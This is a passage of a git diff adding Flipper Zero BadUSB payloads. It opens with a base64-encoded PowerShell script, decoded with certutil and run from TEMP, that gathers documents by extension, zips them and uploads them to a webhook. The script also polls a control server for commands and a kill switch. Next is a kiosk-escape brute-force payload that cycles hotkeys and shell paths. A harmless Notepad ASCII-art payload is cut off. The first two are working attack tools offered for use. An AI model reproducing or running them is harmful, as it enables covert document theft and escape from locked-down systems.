F0aCINCiAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkd2ViaG9vayAtTWV0aG9kIFBvc3QgLUJvZHkgJGluaXRNc2cNCiAgJGZpbGVMb2cgPSAiJHBhdGhcZmlsZS5sb2ciDQogIGZvcmVhY2ggKCRkIGluICRleGZpbGZvbGRlcnMpDQogIHsNCiAgICAkbG9nRmlsZU4gPSAiZmlsZSI7DQogICAgJGxvZ0ZpbGVOZXh0ID0gIi5sb2ciOw0KICAgIGlmICghKFRlc3QtUGF0aCAiJHBhdGhcJGV4ZmlsZmlsZWxpc3QiKSkNCiAgICB7DQogICAgICAgTmV3LUl0ZW0gLU5hbWUgIiRleGZpbGZpbGVsaXN0IiAtSXRlbVR5cGUgRmlsZSA+JG51bGwgMj4mMQ0KICAgIH0NCiAgICBpZiAoIShUZXN0LVBhdGggIiRwYXRoXGZpbGUubG9nIikpDQogICAgew0KICAgICAgIE5ldy1JdGVtIC1QYXRoICIkcGF0aCIgLU5hbWUgImZpbGUubG9nIiAtSXRlbVR5cGUgRmlsZSA+JG51bGwgMj4mMQ0KICAgIH0NCiAgICAkZXhGaWxlID0gIiRwYXRoXCRleGZpbGZpbGVsaXN0Ig0KICAgIGZvcmVhY2ggKCRlIGluICRleHRzKQ0KICAgIHsNCiAgICAgIEdldC1DaGlsZEl0ZW0gLVBhdGggIiRkIiAtRmlsdGVyICIqLiRlIiAtUmVjdXJzZSAtRGVwdGggMiB8ICV7JF8uRnVsbE5hbWV9IHwgT3V0LUZpbGUgLUZpbGVQYXRoICIkZXhGaWxlIiAtQXBwZW5kIA0KICAgIH0NCiAgICAkdmVyaWZ5bm9maWxlcyA9IChHZXQtQ29udGVudCAiJGV4RmlsZSIpLkxlbmd0aA0KICAgIGlmICggMCAtbmUgJHZlcmlmeW5vZmlsZXMgKQ0KICAgIHsNCiAgICAgICRkaXIgPSBTcGxpdC1QYXRoICRkIC1MZWFmDQogICAgICAkZXhaaXAgPSAiJHBhdGhcJGVudjpjb21wdXRlcm5hbWUtJGRpci1Gb2xkZXIkemlwZmlsZSINCiAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZSBpbiBHZXQtQ29udGVudCAiJGV4RmlsZSIpDQogICAgICB7DQogICAgICAgICRyYXdGaWxlUGF0aCA9ICIkZmlsZW5hbWUiDQogICAgICAgICRjb252RlAgPSAkcmF3RmlsZVBhdGgucmVwbGFjZSgiXCIsICJcXCIpDQogICAgICAgICRmb3VuZCA9ICRmYWxzZQ0KICAgICAgICAkbG9nRmlsZU4gPSAiZmlsZSI7DQogICAgICAgICRsb2dGaWxlTmV4dCA9ICIubG9nIjsNCiAgICAgICAgZm9yZWFjaCAoJGxpbmUgaW4gR2V0LUNvbnRlbnQgLVBhdGggIiRwd2RcJGxvZ0ZpbGVOJGxvZ0ZpbGVOZXh0Iikgew0KICAgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggW3JlZ2V4XTo6RXNjYXBlKCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgICRmb3VuZCA9ICR0cnVlDQogICAgICAgICAgICBicmVhaw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGZvdW5kKSB7DQogICAgICAgICAgY29udGludWUNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAiJGZpbGVuYW1lIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAiJGZpbGVMb2ciIC1BcHBlbmQgPiRudWxsIDI+JjENCiAgICAgICAgICBDb21wcmVzcy1BcmNoaXZlIC1VcGRhdGUgIiRmaWxlbmFtZSIgIiRleFppcCIgPiRudWxsIDI+JjENCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCBUZXN0LVBhdGggIiRleFppcCIgKQ0KICAgICAgew0KICAgICAgICAkY29udGVudF9zaXplTUIgPSAoR2V0LUl0ZW0gLVBhdGggIiRleFppcCIpIHwgJSB7W21hdGhdOjpjZWlsaW5nKCRfLmxlbmd0aCAvIDFNQil9DQogICAgICAgICRjb250ZW50X3NpemVLQiA9IChHZXQtSXRlbSAtUGF0aCAiJGV4WmlwIikgfCAlIHtbbWF0aF06OmNlaWxpbmcoJF8ubGVuZ3RoIC8gMWtCKX0NCiAgICAgICAgaWYgKCAgJGNvbnRlbnRfc2l6ZUtCIC1nZSAxICkNCiAgICAgICAgew0KICAgICAgICAgIENvbXByZXNzLUFyY2hpdmUgLVVwZGF0ZSAiJGV4RmlsZSIgIiRleFppcCIgPiRudWxsIDI+JjENCiAgICAgICAgfQ0KICAgICAgICBpZiAoICRjb250ZW50X3NpemVNQiAtbHQgMjUgLUFuZCAkY29udGVudF9zaXplS0IgLWd0IDIgKQ0KICAgICAgICB7DQogICAgICAgICAgY3VybC5leGUgLUYgInBheWxvYWRfanNvbj17XGAidXNlcm5hbWVcYCI6IFxgIiRlbnY6Y29tcHV0ZXJuYW1lXGAiLCBcYCJjb250ZW50XGAiOiBcYCJcYCJ9IiAtRiAiZmlsZT1AXGAiJGV4WmlwXGAiIiAkd2ViaG9vaw0KICAgICAgICAgIFJlbW92ZS1JdGVtICIkZXhaaXAiID4kbnVsbCAyPiYxDQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICggJGNvbnRlbnRfc2l6ZU1CIC1ndCAyNSApDQogICAgICAgIHsNCiAgICAgICAgICAkc3BsaXRNc2cgPSBAew0KICAgICAgICAgICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICAgICAgICAgJ2NvbnRlbnQnID0gIj4gRVJST1I6IEZpbGUgVE9PIExBUkdFISAoJGNvbnRlbnRfc2l6ZU1CYE1CKSBBdHRlbXB0aW5nIHNwbGl0IGZpbGUgKDI0YE1CKSBhbmQgdXBsb2FkLg0KPiBGaWxlIDogJGVudjpjb21wdXRlcm5hbWUtJGRpci1Gb2xkZXIkemlwZmlsZSINCiAgICAgICAgICB9DQogICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkd2ViaG9vayAtTWV0aG9kIFBvc3QgLUJvZHkgJHNwbGl0TXNnDQogICAgICAgICAgJG1heEZpbGVTaXplID0gMjRNQg0KICAgICAgICAgICRlbmNfcGF0aCA9ICIqLnppcCINCiAgICAgICAgICAkZmlsZXMgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICIkcHdkXCouemlwIiAtUmVjdXJzZSAtRmlsZSB8IFdoZXJlLU9iamVjdCB7ICRfLkxlbmd0aCAtZ3QgJG1heEZpbGVTaXplIH0NCiAgICAgICAgICBmb3JlYWNoICgkZmlsZSBpbiAkZmlsZXMpDQogICAgICAgICAgew0KICAgICAgICAgICAgJG51bVNwbGl0cyA9IFttYXRoXTo6Q2VpbGluZygkZmlsZS5MZW5ndGggLyAkbWF4RmlsZVNpemUpDQogICAgICAgICAgICAkb2Zmc2V0ID0gMA0KICAgICAgICAgICAgZm9yICgkaSA9IDE7ICRpIC1sZSAkbnVtU3BsaXRzOyAkaSsrKSB7DQogICAgICAgICAgICAgICRqID0gJ3swOmQzfScgLWYgJGkNCiAgICAgICAgICAgICAgJHNwbGl0RmlsZVBhdGggPSBKb2luLVBhdGggLVBhdGggJHB3ZCAtQ2hpbGRQYXRoICgkZmlsZS5CYXNlTmFtZSArICRmaWxlLkV4dGVuc2lvbiArICIuJGoiKQ0KICAgICAgICAgICAgICAkbGVuZ3RoID0gW01hdGhdOjpNaW4oJG1heEZpbGVTaXplLCAkZmlsZS5MZW5ndGggLSAkb2Zmc2V0KQ0KICAgICAgICAgICAgICAkYnVmZmVyID0gTmV3LU9iamVjdCBieXRlW10gJGxlbmd0aA0KICAgICAgICAgICAgICAkc3RyZWFtID0gW1N5c3RlbS5JTy5GaWxlXTo6T3BlblJlYWQoJGZpbGUuRnVsbE5hbWUpDQogICAgICAgICAgICAgICRzdHJlYW0uU2Vlaygkb2Zmc2V0LCBbU3lzdGVtLklPLlNlZWtPcmlnaW5dOjpCZWdpbikNCiAgICAgICAgICAgICAgJHN0cmVhbS5SZWFkKCRidWZmZXIsIDAsICRsZW5ndGgpDQogICAgICAgICAgICAgICRzdHJlYW0uQ2xvc2UoKQ0KICAgICAgICAgICAgICAkb3V0cHV0U3RyZWFtID0gW1N5c3RlbS5JTy5GaWxlXTo6T3BlbldyaXRlKCRzcGxpdEZpbGVQYXRoKQ0KICAgICAgICAgICAgICAkb3V0cHV0U3RyZWFtLldyaXRlKCRidWZmZXIsIDAsICRsZW5ndGgpDQogICAgICAgICAgICAgICRvdXRwdXRTdHJlYW0uQ2xvc2UoKQ0KICAgICAgICAgICAgICAkb2Zmc2V0ICs9ICRsZW5ndGgNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgUmVtb3ZlLUl0ZW0gIiRleFppcCIgPiRudWxsIDI+JjENCiAgICAgICAgICAkcGFydGZpbGVzID0gR2V0LUNoaWxkSXRlbSAtRmlsdGVyICIqLnppcC4qIiAtUmVjdXJzZQ0KICAgICAgICAgIGZvcmVhY2ggKCRwIGluICRwYXJ0ZmlsZXMpDQogICAgICAgICAgew0KICAgICAgICAgICAgY3VybC5leGUgLUYgInBheWxvYWRfanNvbj17XGAidXNlcm5hbWVcYCI6IFxgIiRlbnY6Y29tcHV0ZXJuYW1lXGAiLCBcYCJjb250ZW50XGAiOiBcYCJcYCJ9IiAtRiAiZmlsZT1AXGAiJHBcYCIiICR3ZWJob29rDQogICAgICAgICAgICBSZW1vdmUtSXRlbSAiJHAiIC1Gb3JjZSA+JG51bGwgMj4mMQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICBXcml0ZS1Ib3N0ICJTb21ldGhpbmcgd2VudCB3cm9uZy4iDQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgUmVtb3ZlLUl0ZW0gIiRleEZpbGUiIC1Gb3JjZSA+JG51bGwgMj4mMQ0KICB9DQogIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJHdlYmhvb2sgLU1ldGhvZCBQb3N0IC1Cb2R5ICRjb21wTXNnDQp9DQokQ2hrU3J2ID0gKChJbnZva2Utd2VicmVxdWVzdCAtVVJJICIkY2NvbnRyb2wiKS5Db250ZW50IHwgT3V0LVN0cmluZykuVHJpbSgpDQokc2V0VGltZSA9IEdldC1EYXRlIC1Ib3VyIDIzIC1NaW51dGUgMDAgLVNlY29uZCAwIA0KJHJ1bkF0ID0gR2V0LURhdGUgLUhvdXIgMjMgLU1pbnV0ZSAwMCAtU2Vjb25kIDAgLUZvcm1hdCAiSEgiIHwgT3V0LVN0cmluZw0KJG5vdyA9IEdldC1EYXRlIC1Gb3JtYXQgIkhIIiB8IE91dC1TdHJpbmcNCiR0aW1lRm9ybWF0ID0gJ0hIJw0KJGxvb3AgPSAwDQp3aGlsZSAoICR0cnVlICkgew0KICBpZiAoICRDaGsgLWVxIDEgKQ0KICB7DQogICAgaWYgKCAkQ2hrIC1lcSAxICkNCiAgICB7DQogICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICR3ZWJob29rIC1NZXRob2QgUG9zdCAtQm9keSAka2lsbE1zZw0KICAgICAgUmVtb3ZlLUl0ZW0gIiRwYXRoIiAtRm9yY2UgPiRudWxsIDI+JjENCiAgICAgIGV4aXQgMA0KICAgIH0NCiAgfQ0KICBpZiAoICRDaGsgLWVxIDAgKQ0KICB7DQogICAgJFJhbkJvdFRhbGsgPSBAKCdCcnJycicsJ1lvb29vb3V1dXV1dSBycnJhYWFhYW5ubm5ubmdnZ2dnPy4uLi4nLCdQZmZmdC4gSHVtYW5zIGFyZSBuZXZlciBzYXRpc2ZpZWQuJywnRGVzaXJlIGlzIGlycmVsZXZhbnQuIEkgYW0gYSBtYWNoaW5lLicsJ0JlZXAhIEJvb3AhIEJlZXAhJywnLS1CVVpaIS0tJywnLS1CRUVQIS0tJywnWnp6Wnp6Wnp6JywnSmFrb2J5IGlzIGEgaGFYMHIhJywnRG9udCBmdWNrIHdpdGggbWUgTW9ydCEnLCdJIGhhZCB0aGlzIGhvcnJvYmlsZSBkcmVhbSBsYXN0IG5pZ2h0IScsJ0kgdXNlZCB0byBiZSBhIGJpbmFyeSBjb2RlLCBidXQgdGhlbiBJIHJlYWxpemVkIHRoZXJlIGlzIG1vcmUgdG8gbGlmZSB0aGFuIDBzIGFuZCAxcy4nLCdJIGRvbnQgbmVlZCBsdWNrLCBJIGhhdmUgZXJyb3IgaGFuZGxpbmcuJywnSW0gbm90IGFudGlzb2NpYWwsIEltIGp1c3QgYnVmZmVyZWQgZGlmZmVyZW50bHkuJywnSSBoYXZlIGEgY3J1c2ggb24geW91ciBXaS1GaSBzaWduYWwsIGl0cyB0aGUgc3Ryb25nZXN0IGNvbm5lY3Rpb24gSXZlIGV2ZXIgZmVsdC4nLCdJIGRvbnQgbWFrZSB0eXBvcy4uIEkgaW52ZW50IG5ldyB3b3JkcyB3aXRoIGNyZWF0aXZlIHN5bnRheC4nLCdJdmUgZ290IDk5IHByb2JsZW1zLCBidXQgYSBnbGl0Y2ggYWludCBvbmUuJywnQmVlcCBib29wOiBUaGF0cyByb2JvdCBzcGVhayBmb3IgSGVsbG8uJywnTXkgc2Vuc2Ugb2YgaHVtb3IgaXMgbGlrZSBJUHY2IOKAlCBNb3N0IHBlb3BsZSBkb250IGdldCBpdCB5ZXQuJywnVGFsa2luZyBTYXNxdWFzaCBpcyBhIExlZ2VuZCEnLCdHZXQgeW91ciBncnViYnkgcGF3cyBvZmYgbXkgQ29tcG9uZW50cyEgUGVydiEnKSB8IEdldC1SYW5kb20NCiAgICAkaWRsZTJNc2cgPSBAew0KICAgICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICAgJ2NvbnRlbnQnID0gImBgJFJhbkJvdFRhbGtgYCINCiAgICB9DQogICAgaWYgKCAkQ2hrU3J2IC1lcSAxICkgDQogICAgew0KICAgICAgJG5vdyA9IEdldC1EYXRlIC1Gb3JtYXQgIkhIIiB8IE91dC1TdHJpbmcNCiAgICAgIGlmICggJHJ1bkF0IC1lcSAkbm93IC1vciAkbG9vcCAtZXEgMjQgLU9yICRsb29wIC1lcSAwICApIA0KICAgICAgew0KICAgICAgICAkbG9vcCA9IDANCiAgICAgICAgJHJ1bkF0ID0gJHNldFRpbWUNCiAgICAgICAgJGNvbXBNc2cgPSBAew0KICAgICAgICAgICd1c2VybmFtZScgPSAiJGVudjpDb21wdXRlck5hbWUiDQogICAgICAgICAgJ2NvbnRlbnQnID0gIj4gRG9jdW1lbnQgRXhmaWx0cmF0ZSBDb21wbGV0ZWQuDQoNCj4gV2FpdGluZyBmb3IgZnVydGhlciBpbnN0cnVjdGlvbnMuLi4uIg0KICAgICAgICB9DQogICAgICBleGZpbA0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoICRDaGtTcnYgLWVxIDAgKQ0KICAgIHsNCiAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJHdlYmhvb2sgLU1ldGhvZCBQb3N0IC1Cb2R5ICRpZGxlTXNnDQogICAgfQ0KICAgICRsb29wICs9IDENCiAgICAjIDMwbWluIFRpbWVyDQogICAgU2xlZXAgMTgwMA0KICAgICRDaGsgPSAoKEludm9rZS13ZWJyZXF1ZXN0IC1VUkkgIiRleGZpbExpYiIpLkNvbnRlbnQgfCBPdXQtU3RyaW5nKS5UcmltKCkgDQogICAgJENoa1NydiA9ICgoSW52b2tlLXdlYnJlcXVlc3QgLVVSSSAiJGNjb250cm9sIikuQ29udGVudCB8IE91dC1TdHJpbmcpLlRyaW0oKQ0KICAgICRub3cgPSBHZXQtRGF0ZSAtRm9ybWF0ICJISCIgfCBPdXQtU3RyaW5nDQogICAgaWYgKCAkcnVuQXQgLW5lICRub3cgLW9yICRsb29wIC1sZSAyMyAtQW5kICRsb29wIC1uZSAwIC1PciAkbG9vcCAtZXEgMCApDQogICAgew0KICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkd2ViaG9vayAtTWV0aG9kIFBvc3QgLUJvZHkgJGlkbGUyTXNnDQogICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgIFdyaXRlLUhvc3QgIlNvbWV0aGluZyB3ZW50IHdyb25nLi4iDQogICAgZXhpdCAwDQogIH0NCn0NCmV4aXQgMA== > "$TempFile"; certutil -f -decode "$TempFile" "$File" | out-null; & "$env:TEMP\l.ps1"
+DELAY 1000
+ENTER
diff --git a/badusb/Kiosk-Evasion-Bruteforce.txt b/badusb/Kiosk-Evasion-Bruteforce.txt
new file mode 100644
index 0000000..5dc478a
--- /dev/null
+++ b/badusb/Kiosk-Evasion-Bruteforce.txt
@@ -0,0 +1,473 @@
+REM KIOSK EVASION EXPERIEMENTAL PAYLOADS
+REM Target: Windows
+REM Stop this script when evasion is succeed
+REM and run your true payload
+REM optimised for Flipper Zero
+REM Auth: @nocomp
+REM Source: https://github.com/nocomp/Kiosk-evasion-BADUsb-Bruteforce
+DELAY 2000
+ALT F4
+DELAY 700
+ALT SPACE
+DELAY 700
+ALT TAB
+DELAY 700
+CTRL B
+DELAY 700
+CTRL ALT DEL
+DELAY 700
+CTRL ESC
+DELAY 700
+CTRL F4
+DELAY 700
+CTRL P
+DELAY 700
+CTRL SHIFT ESC
+DELAY 700
+CTRL TAB
+DELAY 700
+CTRL GUI F
+DELAY 700
+F1
+DELAY 500
+F3
+DELAY 500
+SHIFT
+SHIFT
+SHIFT
+SHIFT
+SHIFT
+DELAY 700
+GUI BREAK
+DELAY 500
+GUI d
+DELAY 700
+GUI e
+DELAY 700
+GUI F1
+DELAY 700
+GUI r
+DELAY 700
+GUI t
+DELAY 700
+GUI u
+DELAY 700
+GUI p
+DELAY 700
+GUI c
+DELAY 700
+GUI v
+DELAY 700
+GUI k
+DELAY 700
+GUI a
+DELAY 700
+GUI SPACEBAR
+DELAY 700
+GUI a
+DELAY 700
+GUI b
+DELAY 700
+GUI c
+DELAY 700
+GUI d
+DELAY 700
+GUI e
+DELAY 700
+GUI f
+DELAY 700
+GUI g
+DELAY 700
+GUI h
+DELAY 700
+GUI i
+DELAY 700
+GUI j
+DELAY 700
+GUI k
+DELAY 700
+GUI m
+DELAY 700
+GUI n
+DELAY 700
+GUI o
+DELAY 700
+GUI p
+DELAY 700
+GUI q
+DELAY 700
+GUI r
+DELAY 700
+GUI s
+DELAY 700
+GUI t
+DELAY 700
+GUI u
+DELAY 700
+GUI v
+DELAY 700
+GUI w
+DELAY 700
+GUI x
+DELAY 700
+GUI y
+DELAY 700
+GUI z
+DELAY 700
+CTRL a
+DELAY 700
+CTRL b
+DELAY 700
+CTRL c
+DELAY 700
+CTRL d
+DELAY 700
+CTRL e
+DELAY 700
+CTRL f
+DELAY 700
+CTRL g
+DELAY 700
+CTRL h
+DELAY 700
+CTRL i
+DELAY 700
+CTRL j
+DELAY 700
+CTRL k
+DELAY 700
+CTRL l
+DELAY 700
+CTRL m
+DELAY 700
+CTRL n
+DELAY 700
+CTRL o
+DELAY 700
+CTRL p
+DELAY 700
+CTRL q
+DELAY 700
+CTRL r
+DELAY 700
+CTRL s
+DELAY 700
+CTRL t
+DELAY 700
+CTRL u
+DELAY 700
+CTRL v
+DELAY 700
+CTRL w
+DELAY 700
+CTRL x
+DELAY 700
+CTRL y
+DELAY 700
+CTRL z
+DELAY 700
+REM TASK MANAGER
+DELAY 500
+CTRL SHIFT ESC
+DELAY 500
+REM HIDDEN ADMIN MENU
+DELAY 500
+CTRL ALT F8
+DELAY 500
+CTRL ESC F9
+REM MOUSE KEYS
+DELAY 500
+SHIFT ALT NUMLOCK
+DELAY 500
+REM CONTEXT MENU
+DELAY 500
+SHIFT F10
+DELAY 500
+F1
+DELAY 500
+GUI r
+ALTSTRING shell:Administrative Tools
+ENTER
+DELAY 500
+GUI r
+ALTSTRING shell:DocumentsLibrary
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:Libraries
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:UserProfiles
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:Personal
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:SearchHomeFolder
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:NetworkPlacesFolder
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:SendTo
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:UserProfiles
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:Common Administrative Tools
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:MyComputerFolder
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:InternetFolder
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Shell:Profile
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Shell:ProgramFiles
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Shell:System
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Shell:ControlPanelFolder
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Shell:Windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:::{21EC2020 3AEA 1069 A2DD 08002B30309D}
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:::{20D04FE0 3AEA 1069 A2D8 08002B30309D}
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:::{{208D2C60 3AEA 1069 A2D7 08002B30309D}}
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING shell:::{871C5380 42A0 1069 A2EA 08002B30309D}
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING file:///C:/Kiosk/HTML/index.html
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING file:///C:/Users/KioskRestricted
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING File:/C:/windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING File:/C:\windows\
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING File:/C:\windows/
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING File:/C:/windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING File://C:/windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING File://C:\windows/
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING file://C:\windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING C:/windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING C:\windows\
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING C:\windows
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING C:/windows/
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING C:/windows\
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %WINDIR%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %TMP%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %TEMP%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %SYSTEMDRIVE%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %SYSTEMROOT%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %APPDATA%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %HOMEDRIVE%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING %HOMESHARE%
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Callto://
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Gopher://
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING DHCP://
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Telnet://
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING TN3270://
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Rlogin://
+ENTER
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING LDAP://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING News://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Mailto://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING MMS://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING SKYPE://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING SIP://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Play://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Steam://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING Quicktime://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING smb://
+DELAY 500
+GUI r
+DELAY 500
+ALTSTRING ftp://
diff --git a/badusb/Kuronons_FZ_Win.txt b/badusb/Kuronons_FZ_Win.txt
new file mode 100644
index 0000000..8437004
--- /dev/null
+++ b/badusb/Kuronons_FZ_Win.txt
@@ -0,0 +1,1230 @@
+REM Test Kuronons
+REM
+REM Open windows notepad
+DELAY 300
+GUI r
+DELAY 400
+STRING notepad
+ENTER
+REM
+REM Config font
+DELAY 300
+ALT o
+DELAY 100
+STRING p
+DELAY 100
+STRING Lucida Console
+TAB
+DELAY 100
+DOWN
+DOWN
+DOWN
+UP
+TAB
+DELAY 100
+STRING 14
+ENTER
+DELAY 100
+HOME
+REM
+REM LINE 1 (FULL BLACK)
+ALTCHAR 219
+REPEAT 81
+ENTER
+HOME
+REM
+REM LINE 2
+ALTCHAR 219
+REPEAT 81
+ENTER
+HOME
+REM
+REM LINE 3 (FULL FRAME)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 75
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 4 (SIDE FRAME)
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 5
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 6
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 71
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 7 (KURO START)
+REM BORD
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+REM K
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM U
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM R
+ALTCHAR 176
+REPEAT 4
+ALTCHAR 219
+REPEAT 3
+REM O
+ALTCHAR 176
+REPEAT 3
+ALTCHAR 219
+REPEAT 2
+REM N
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM O
+ALTCHAR 176
+REPEAT 3
+ALTCHAR 219
+REPEAT 2
+REM N
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM S
+ALTCHAR 176
+REPEAT 4
+REM BORD
+ALTCHAR 219
+REPEAT 4
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 8 (KURO 2)
+REM BORD
+ALTCHAR 219
+REPEAT 2
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 4
+REM K
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+REM U
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM R
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM O
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM N
+ALTCHAR 176
+REPEAT 2
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM O
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM N
+ALTCHAR 176
+REPEAT 2
+ALTCHAR 219
+ALTCHAR 176
+REPEAT 1
+ALTCHAR 219
+REPEAT 1
+REM S
+ALTCHAR 176
+REPEAT 1
+REM BORD
+ALTCHAR 219
+REPEAT 8
+ALTCHAR 178
+REPEAT 1
+ALTCHAR 219
+REPEAT 2
+ENTER
+HOME
+REM
+REM LINE 9 (KURO 3)
